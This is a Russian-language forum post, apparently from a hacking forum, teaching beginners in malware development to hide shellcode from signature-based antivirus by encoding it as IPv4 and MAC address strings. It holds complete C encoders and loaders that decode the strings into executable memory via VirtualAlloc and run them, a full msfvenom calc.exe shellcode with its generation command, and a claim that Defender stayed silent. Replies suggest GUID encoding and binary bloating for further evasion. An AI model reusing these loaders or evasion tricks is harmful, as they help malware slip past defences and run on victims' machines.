What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Простейшие методы сокрытия шелл-кода для самых маленьких

shqnx

Light Weight
Депозит
$0
Автор: shqnx
Специально для мои маленькие любители разработки мальвари. В данной статье мы поговорим о двух простейших методах сокрытия шелл-кода, которые помогут обойти антивирусную проверку, основанную на сигнатурах. Особо опытные - вам наверняка тут делать нечего. Материал рассчитан на новичков. Без лишних слов приступаем к делу.

IPv4
Начнём с базовой информации касаемо IPv4. Адреса в этой версии протокола имеют длину 4 байта. Записываются в виде четырёх десятичных чисел, разделённых точками. Шелл-код, в свою очередь, также состоит из байтов. Исходя из этой информации, я думаю многие из вас уже догадались, к чему всё идет. Наша первоначальная задача - написать обфускатор шелл-кода в формат IPv4-адресов. Теперь приступаем к реализации. В процессе буду пояснять код для лучшего понимания.

И так, подключаем заголовочные файлы для работы с функциями ввода-вывода, для работы со строками и для работы с динамическим выделением памяти и другими утилитами:
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

[ . . . ]

И сразу же переходим к функции, которая будет преобразовывать шелл-код в IPv4-адреса:
C: Скопировать в буфер обмена
Code:
[ . . . ]

char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
 size_t count = bytesSize / 4;
 char** ipAddresses = (char**)malloc(count * sizeof(char*));

 if (ipAddresses == NULL) {
  return NULL;
 }

 [ . . . ]

Наша функция bytesToIPv4 принимает три аргумента: указатель на массив байтов, который нужно преобразовать (bytes), размер массива байтов (bytesSize) и указатель на переменную, в которую будет записано количество IPv4-адресов (ipCount).

Функция вычисляет количество IPv4-адресов и выделяет память под массив указателей, где каждый указатель будет указывать на строку с IPv4-адресом. Далее проверяем успешность выделения памяти. Если выделение памяти не удалось, то функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 *ipCount = 0;
 for (size_t i = 0; i < bytesSize; i += 4) {
  if (i + 3 < bytesSize) {
   char* ip = (char*)malloc(16 * sizeof(char));

   [ . . . ]

Далее инициализируем наш счётчик ipCount нулём и начинаем цикл, который идёт с шагом в 4 байта (напомню, это размер одного IPv4-адреса). Внутри цикла проверяется, хватает ли оставшихся байтов для формирования полного IPv4-адреса. Если байтов достаточно, выделяется память для строки, которая будет содержать IP-адрес (16 байт достаточно для хранения адреса формата "xxx.xxx.xxx.xxx"). Продолжим:
C: Скопировать в буфер обмена
Code:
   [ . . . ]

   if (ip == NULL) {
    return NULL;
   }

   snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
   ipAddresses[*ipCount] = ip;
   (*ipCount)++;
  }
 }

 return ipAddresses;
}

[ . . . ]

Опять проверка успешности выделения памяти с той же логикой. Далее с помощью функции snprintf байты преобразуются в строку формата "x.x.x.x". Эта строка сохраняется в массив ipAddresses. После этого увеличивается счётчик ipCount. Переходим к функции main:
C: Скопировать в буфер обмена
Code:
[ . . . ]

int main() {
 unsigned char shellcode[] =
  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
  /*------[. . .]------*/
  "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
 size_t shellcodeSize = sizeof(shellcode);

 [ . . . ]

В данном примере я использовал калькуляторный PoC шелл-код из MSFvenom. Сгенерировать его можно выполнив следующую команду:
msfvenom -p windows/x64/exec CMD="calc.exe" -f c
Нажмите, чтобы раскрыть...

Для удобства чтения я обрезал часть шелл-кода. В конце каждого из показанных методов сокрытия будет прикреплён полный код.

И так, в функции main задаётся массив shellcode, содержащий байты для преобразования в IPv4-адреса. Переменная shellcodeSize содержит размер шелл-кода в байтах. Думаю тут всё понятно, переходим далее:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 size_t ipCount;
 char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);

 if (ipAddresses == NULL) {
  return EXIT_FAILURE;
 }

 printf("char* ipAddresses[] = {\n");
 for (size_t i = 0; i < ipCount; i++) {
  printf("\"%s\"", ipAddresses[i]);
  if (i < ipCount - 1) {
   printf(",");
   printf("\n");
  }
  free(ipAddresses[i]);
 }
 printf(" };\n");

 free(ipAddresses);

 return EXIT_SUCCESS;
}

Здесь вызывается функция bytesToIPv4, которая возвращает массив строковых представлений IPv4-адресов и записывает их количество в переменную ipCount. Если ipAddresses возвращает NULL, то программа завершает своё выполнение с кодом ошибки. Далее программа выводит массив строк на экран. После каждого вывода IPv4-адреса, память, выделенная под этот адрес, освобождается. В конце освобождается память, выделенная под массив указателей. А теперь давайте запустим нашу программу и посмотрим, что получилось:



Как мы видим, программа отработала корректно и выдала нам длинный массив IPv4-адресов, который уже можно смело копипастить в код.

И так, преобразователь готов. Для проверки работоспособности нашего творения напишем ещё одну небольшую программу. Если первый шаг был написание обфускатора, то второй шаг - написание деобфускатора. Этим мы и займёмся в первую очередь. Приступим же:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
 *bytesSize = ipCount * 4;
 unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

 if (bytes == NULL) {
  return NULL;
 }

 [ . . . ]

Подключаем заголовочные файлы для работы с Windows API и для работы с функциями ввода-вывода. Далее начинаем создавать нашу функцию обратного преобразования. Она будет принимать три параметра: массив строк, содержащих IPv4-адреса (ipAddresses), количество IPv4-адресов в массиве (ipCount) и указатель на переменную, в которой будет сохранён размер полученного массива байтов (bytesSize). Далее выделяем память для массива, который будет содержать IPv4-адреса в виде байтов. Так как каждому IPv4-адресу требуется 4 байта, то для всех адресов нужно ipCount * 4 байт. Если память не удалось выделить (если malloc вернул NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 for (size_t i = 0; i < ipCount; i++) {
  unsigned char octets[4];
  if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
   &octets[0], &octets[1],
   &octets[2], &octets[3]) != 4) {
   free(bytes);
   return NULL;
  }

  memcpy(bytes + i * 4, octets, 4);
 }

 return bytes;
}

[ . . . ]

Для каждого IPv4-адреса в массиве строк вызывается функция sscanf_s, которая разбивает строку на четыре октета (1 октет = 1 байт) и сохраняет их в массив octets. Здесь мы используем форматную строку, которая указывает, что ожидаются четыре числа, разделенные точками. %hhu используется для считывания значения в unsigned char. Если sscanf_s не может распознать IP-адрес (то есть не удаётся считать четыре октета), выделенная память освобождается, а функция возвращает NULL. Далее memcpy копирует октеты в соответствующее место в общем массиве байтов. И, наконец, функция возвращает указатель на массив байтов. Переходим к функции main:
C: Скопировать в буфер обмена
Code:
[ . . . ]

int main() {
 char* ipAddresses[] = {
 "252.72.131.228",
 /*------[ . . . ]------*/
 "101.120.101.0" };

 size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
 size_t bytesSize;
 unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);

 if (bytes == NULL) {
  return EXIT_FAILURE;
 }

 [ . . . ]

Объявляем массив ipAddresses, который мы получили в результате работы нашей программы для преобразований. Далее определяем количество всех IPv4-адресов и преобразовываем их в байты с помощью нашей функции IPv4ToBytes. Если эта функция возвращает NULL, то программа завершает работу с кодом ошибки. Продолжим:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if (execMemory == NULL) {
  free(bytes);
  return EXIT_FAILURE;
 }

 memcpy(execMemory, bytes, bytesSize);

 free(bytes);

 ((void(*)())execMemory)();

 VirtualFree(execMemory, 0, MEM_RELEASE);

 return EXIT_SUCCESS;
}

Тут мы выделяем память для исполнения кода при помощи функции VirtualAlloc. Если память не выделилась, программа освобождает память для байтов и завершает работу с кодом ошибки. Далее при помощи memcpy мы копируем байты в выделенную память. После того, как байты скопированы в память для выполнения, выделенная для них память больше не нужна и освобождается при помощи free. Далее интерпретируем выделенную память как функцию и вызываем её, таким образом исполняя наши байты как машинный код. После этого с помощью VirtualFree выделенная память освобождается. И, наконец, если всё прошло успешно, программа завершает работу.

Пришло время протестировать то, что у нас получилось:


Что и требовалось ожидать, дефендер не издал даже малейшего писка =).

Спойлер: Полный код
Спойлер: ipv4_encoder
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
 size_t count = bytesSize / 4;
 char** ipAddresses = (char**)malloc(count * sizeof(char*));

 if (ipAddresses == NULL) {
  return NULL;
 }

 *ipCount = 0;
 for (size_t i = 0; i < bytesSize; i += 4) {
  if (i + 3 < bytesSize) {
   char* ip = (char*)malloc(16 * sizeof(char));

   if (ip == NULL) {
    return NULL;
   }

   snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
   ipAddresses[*ipCount] = ip;
   (*ipCount)++;
  }
 }

 return ipAddresses;
}

int main() {
 unsigned char shellcode[] =
  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
  "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
  "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
  "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
  "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
  "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
  "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
  "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
  "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
  "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
  "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
  "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
  "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
  "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
  "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
  "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
 size_t shellcodeSize = sizeof(shellcode);

 size_t ipCount;
 char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);

 if (ipAddresses == NULL) {
  return EXIT_FAILURE;
 }

 printf("char* ipAddresses[] = {\n");
 for (size_t i = 0; i < ipCount; i++) {
  printf("\"%s\"", ipAddresses[i]);
  if (i < ipCount - 1) {
   printf(",");
   printf("\n");
  }
  free(ipAddresses[i]);
 }
 printf(" };\n");

 free(ipAddresses);

 return EXIT_SUCCESS;
}
Спойлер: ipv4
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
 *bytesSize = ipCount * 4;
 unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

 if (bytes == NULL) {
  return NULL;
 }

 for (size_t i = 0; i < ipCount; i++) {
  unsigned char octets[4];
  if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
   &octets[0], &octets[1],
   &octets[2], &octets[3]) != 4) {
   free(bytes);
   return NULL;
  }

  memcpy(bytes + i * 4, octets, 4);
 }

 return bytes;
}

int main() {
 char* ipAddresses[] = {
 "252.72.131.228",
 "240.232.192.0",
 "0.0.65.81",
 "65.80.82.81",
 "86.72.49.210",
 "101.72.139.82",
 "96.72.139.82",
 "24.72.139.82",
 "32.72.139.114",
 "80.72.15.183",
 "74.74.77.49",
 "201.72.49.192",
 "172.60.97.124",
 "2.44.32.65",
 "193.201.13.65",
 "1.193.226.237",
 "82.65.81.72",
 "139.82.32.139",
 "66.60.72.1",
 "208.139.128.136",
 "0.0.0.72",
 "133.192.116.103",
 "72.1.208.80",
 "139.72.24.68",
 "139.64.32.73",
 "1.208.227.86",
 "72.255.201.65",
 "139.52.136.72",
 "1.214.77.49",
 "201.72.49.192",
 "172.65.193.201",
 "13.65.1.193",
 "56.224.117.241",
 "76.3.76.36",
 "8.69.57.209",
 "117.216.88.68",
 "139.64.36.73",
 "1.208.102.65",
 "139.12.72.68",
 "139.64.28.73",
 "1.208.65.139",
 "4.136.72.1",
 "208.65.88.65",
 "88.94.89.90",
 "65.88.65.89",
 "65.90.72.131",
 "236.32.65.82",
 "255.224.88.65",
 "89.90.72.139",
 "18.233.87.255",
 "255.255.93.72",
 "186.1.0.0",
 "0.0.0.0",
 "0.72.141.141",
 "1.1.0.0",
 "65.186.49.139",
 "111.135.255.213",
 "187.240.181.162",
 "86.65.186.166",
 "149.189.157.255",
 "213.72.131.196",
 "40.60.6.124",
 "10.128.251.224",
 "117.5.187.71",
 "19.114.111.106",
 "0.89.65.137",
 "218.255.213.99",
 "97.108.99.46",
 "101.120.101.0" };

 size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
 size_t bytesSize;
 unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);

 if (bytes == NULL) {
  return EXIT_FAILURE;
 }

 void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if (execMemory == NULL) {
  free(bytes);
  return EXIT_FAILURE;
 }

 memcpy(execMemory, bytes, bytesSize);

 free(bytes);

 ((void(*)())execMemory)();

 VirtualFree(execMemory, 0, MEM_RELEASE);

 return EXIT_SUCCESS;
}

Перейдём к следующему методу.

MAC
По старинке начнём с базовой информации. MAC-адрес имеет длину 6 байт. Записывается в виде шести частей, каждая из которых состоит из двух шестнадцатеричных цифр, которые представляют собой один байт. Части разделены между собой двоеточием. Суть не меняется, меняются лишь подходы к реализации. Нас всё так же интересует написание обфускатора, только на сей раз преобразовывая байты в MAC-адреса. Приступим:
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
 size_t count = bytesSize / 6;
 char** macAddresses = (char**)malloc(count * sizeof(char*));

 if (macAddresses == NULL) {
  return NULL;
 }

 [ . . . ]

Начинаем вновь с того, что подключаем заголовочные файлы и начинаем написание нашей функции для преобразования. Функция всё так же принимает три аргумента: указатель на массив байтов, который будет преобразован в MAC-адреса (bytes), размер массива байтов (bytesSize) и указатель на переменную, куда будет записано количество найденных MAC-адресов (macCount). Внутри функции вычисляется количество возможных MAC-адресов. Так как каждый MAC-адрес занимает 6 байт, то размер массива байтов делится на 6. Далее выделяется память для массива указателей на строки, каждая из которых будет хранить один MAC-адрес. Если память не выделяется (macAddresses == NULL), функция возвращает NULL. Переходим далее:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 *macCount = 0;
 for (size_t i = 0; i < bytesSize; i += 6) {
  if (i + 5 < bytesSize) {
   char* mac = (char*)malloc(18 * sizeof(char));

   if (mac == NULL) {
    return NULL;
   }

   [ . . . ]

Тут мы инициализируем счётчик найденных MAC-адресов. Далее цикл проходит по массиву байтов с шагом 6 байт. Выделяется память для строки длиной 18 символов, которая будет содержать один MAC-адрес в текстовом формате (18 байт достаточно для хранения адреса формата "xx:xx:xx:xx:xx:xx"). Если память не выделилась (mac == NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
   [ . . . ]

   snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
    bytes[i], bytes[i + 1], bytes[i + 2],
    bytes[i + 3], bytes[i + 4], bytes[i + 5]);
   macAddresses[*macCount] = mac;
   (*macCount)++;
  }
 }

 return macAddresses;
}

[ . . . ]

Здесь snprintf формирует строку MAC-адреса из 6 байт. Сформированный MAC-адрес сохраняется в массив macAddresses и увеличивается счётчик адресов macCount. И, наконец, после завершения цикла функция возвращает массив строк с MAC-адресами. Функция main остаётся такой же, как и в методе с IPv4. Поэтому повторный раз объяснять я не вижу смысла. Меняются только названия переменных и название вызываемой функции:
C: Скопировать в буфер обмена
Code:
[ . . . ]

int main() {
 unsigned char shellcode[] =
  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
  /*------[ . . . ]------*/
  "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

 size_t shellcodeSize = sizeof(shellcode);

 size_t macCount;
 char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);

 if (macAddresses == NULL) {
  return EXIT_FAILURE;
 }

 printf("char* macAddresses[] = {\n");
 for (size_t i = 0; i < macCount; i++) {
  printf("\"%s\"", macAddresses[i]);
  if (i < macCount - 1) {
   printf(",");
   printf("\n");
  }
  free(macAddresses[i]);
 }
 printf(" };\n");

 free(macAddresses);

 return EXIT_SUCCESS;
}

Проверим, что у нас получилось:



Всё корректно. Опять же можно брать и копипастить в код. Вот только кода, в который можно это копипастить у нас ещё нет. Зато остался "макет" с методом, основанным на IPv4. Так что спокойно можем отредактировать его под новые нужды. Начнём с написания функции обратного преобразования:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
 *bytesSize = macCount * 6;
 unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

 if (bytes == NULL) {
  return NULL;
 }

 [ . . . ]

Тут нам уже всё знакомо. Подключаем заголовочные файлы, определяем функцию MACToBytes, принимающую три аргумента. Далее вычисляем размер массива байтов. Так как каждому MAC-адресу требуется 6 байт, то для всех адресов нужно macCount * 6 байт. Выделяем память для массива байтов, при неудаче возвращаем NULL. Продолжим:
C: Скопировать в буфер обмена
Code:
 [ . . . ]

 for (size_t i = 0; i < macCount; i++) {
  unsigned char octets[6];
  if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
   &octets[0], &octets[1], &octets[2],
   &octets[3], &octets[4], &octets[5]) != 6) {
   free(bytes);
   return NULL;
  }

  memcpy(bytes + i * 6, octets, 6);
 }

 return bytes;
}

[ . . . ]

Для каждого MAC-адреса выполняется разбор строки с помощью sscanf_s, затем извлекается 6 байтов из строки в массив octets. Если разбор не удался, то выделенная память освобождается, и функция возвращает NULL. Если разбор успешен, байты копируются в выделенную область памяти. И, наконец, возвращается указатель на массив байтов. Функция main не требует никаких сложных изменений, чтобы это было необходимо объяснять. Заменяем массив с IPv4-адресами на массив с MAC-адресами и меняем названия переменных и вызываемой функции:
C: Скопировать в буфер обмена
Code:
[ . . . ]

int main() {
 char* macAddresses[] = {
 "fc:48:83:e4:f0:e8",
 /*------[ . . . ]------*/
 "63:2e:65:78:65:00" };
 size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
 size_t bytesSize;
 unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);

 if (bytes == NULL) {
  return EXIT_FAILURE;
 }

 void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if (execMemory == NULL) {
  free(bytes);
  return EXIT_FAILURE;
 }

 memcpy(execMemory, bytes, bytesSize);

 free(bytes);

 ((void(*)())execMemory)();

 VirtualFree(execMemory, 0, MEM_RELEASE);

 return EXIT_SUCCESS;
}

И так, проверка данного метода:


Всё отработало без нареканий.

Спойлер: Полный код
Спойлер: mac_encoder
C: Скопировать в буфер обмена
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
 size_t count = bytesSize / 6;
 char** macAddresses = (char**)malloc(count * sizeof(char*));

 if (macAddresses == NULL) {
  return NULL;
 }

 *macCount = 0;
 for (size_t i = 0; i < bytesSize; i += 6) {
  if (i + 5 < bytesSize) {
   char* mac = (char*)malloc(18 * sizeof(char));

   if (mac == NULL) {
    return NULL;
   }

   snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
    bytes[i], bytes[i + 1], bytes[i + 2],
    bytes[i + 3], bytes[i + 4], bytes[i + 5]);
   macAddresses[*macCount] = mac;
   (*macCount)++;
  }
 }

 return macAddresses;
}

int main() {
 unsigned char shellcode[] =
  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
  "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
  "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
  "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
  "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
  "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
  "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
  "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
  "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
  "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
  "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
  "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
  "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
  "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
  "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
  "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

 size_t shellcodeSize = sizeof(shellcode);

 size_t macCount;
 char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);

 if (macAddresses == NULL) {
  return EXIT_FAILURE;
 }

 printf("char* macAddresses[] = {\n");
 for (size_t i = 0; i < macCount; i++) {
  printf("\"%s\"", macAddresses[i]);
  if (i < macCount - 1) {
   printf(",");
   printf("\n");
  }
  free(macAddresses[i]);
 }
 printf(" };\n");

 free(macAddresses);

 return EXIT_SUCCESS;
}
Спойлер: mac
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
 *bytesSize = macCount * 6;
 unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

 if (bytes == NULL) {
  return NULL;
 }

 for (size_t i = 0; i < macCount; i++) {
  unsigned char octets[6];
  if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
   &octets[0], &octets[1], &octets[2],
   &octets[3], &octets[4], &octets[5]) != 6) {
   free(bytes);
   return NULL;
  }

  memcpy(bytes + i * 6, octets, 6);
 }

 return bytes;
}

int main() {
 char* macAddresses[] = {
 "fc:48:83:e4:f0:e8",
 "c0:00:00:00:41:51",
 "41:50:52:51:56:48",
 "31:d2:65:48:8b:52",
 "60:48:8b:52:18:48",
 "8b:52:20:48:8b:72",
 "50:48:0f:b7:4a:4a",
 "4d:31:c9:48:31:c0",
 "ac:3c:61:7c:02:2c",
 "20:41:c1:c9:0d:41",
 "01:c1:e2:ed:52:41",
 "51:48:8b:52:20:8b",
 "42:3c:48:01:d0:8b",
 "80:88:00:00:00:48",
 "85:c0:74:67:48:01",
 "d0:50:8b:48:18:44",
 "8b:40:20:49:01:d0",
 "e3:56:48:ff:c9:41",
 "8b:34:88:48:01:d6",
 "4d:31:c9:48:31:c0",
 "ac:41:c1:c9:0d:41",
 "01:c1:38:e0:75:f1",
 "4c:03:4c:24:08:45",
 "39:d1:75:d8:58:44",
 "8b:40:24:49:01:d0",
 "66:41:8b:0c:48:44",
 "8b:40:1c:49:01:d0",
 "41:8b:04:88:48:01",
 "d0:41:58:41:58:5e",
 "59:5a:41:58:41:59",
 "41:5a:48:83:ec:20",
 "41:52:ff:e0:58:41",
 "59:5a:48:8b:12:e9",
 "57:ff:ff:ff:5d:48",
 "ba:01:00:00:00:00",
 "00:00:00:48:8d:8d",
 "01:01:00:00:41:ba",
 "31:8b:6f:87:ff:d5",
 "bb:f0:b5:a2:56:41",
 "ba:a6:95:bd:9d:ff",
 "d5:48:83:c4:28:3c",
 "06:7c:0a:80:fb:e0",
 "75:05:bb:47:13:72",
 "6f:6a:00:59:41:89",
 "da:ff:d5:63:61:6c",
 "63:2e:65:78:65:00" };
 size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
 size_t bytesSize;
 unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);

 if (bytes == NULL) {
  return EXIT_FAILURE;
 }

 void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if (execMemory == NULL) {
  free(bytes);
  return EXIT_FAILURE;
 }

 memcpy(execMemory, bytes, bytesSize);

 free(bytes);

 ((void(*)())execMemory)();

 VirtualFree(execMemory, 0, MEM_RELEASE);

 return EXIT_SUCCESS;
}

На этой ноте я бы хотел подводить итоги и заканчивать статью. Большое спасибо всем, кто прочитал до этого момента. Очень надеюсь, что кому-либо пригодится сказанное здесь. Само собой на этом не ограничиваются все методы, можно придумать и свой кастомный, тут дело лишь вашей фантазии и креативности. Всем успехов!
 
Неплохо. Только ипы типа 0.0.0.72 стремновато смотрятся, с маками уже получше.
Еще можно GUID для этого дела использовать.
{AD078A8F-0C01-4460-BC44-0BB72CC49292} - 16 байт.
 
Нет, ну в целом это имеет право на существование, но лично мне тут не нравится следующее. Во-первых, слишком большой переизбыток по размеру данных (исходные 4 байта кодируются от 8 до 16 байт, то есть в случае с IP-адресами размер данных как минимум удвоиться). Во-вторых, аверы, конечно, тупые, но как часто они в живой природе видят экзешники с тысячами IP-адресов в них. Это как минимум аномалия, как максимум может стать отличным эвристическим признаком для детекта.
 
DildoFagins сказал(а):
Во-первых, слишком большой переизбыток по размеру данных (исходные 4 байта кодируются от 8 до 16 байт, то есть в случае с IP-адресами размер данных как минимум удвоиться).
Нажмите, чтобы раскрыть...
Можно считать это разбавлением энтропии)

DildoFagins сказал(а):
Во-вторых, аверы, конечно, тупые, но как часто они в живой природе видят экзешники с тысячами IP-адресов в них. Это как минимум аномалия, как максимум может стать отличным эвристическим признаком для детекта.
Нажмите, чтобы раскрыть...
Любой код отличный от легального можно считать аномалией. Я еще от темы с раздуванием бинарей на месте до 600-700 мб не разахуел. А ведь так делают.
 
Top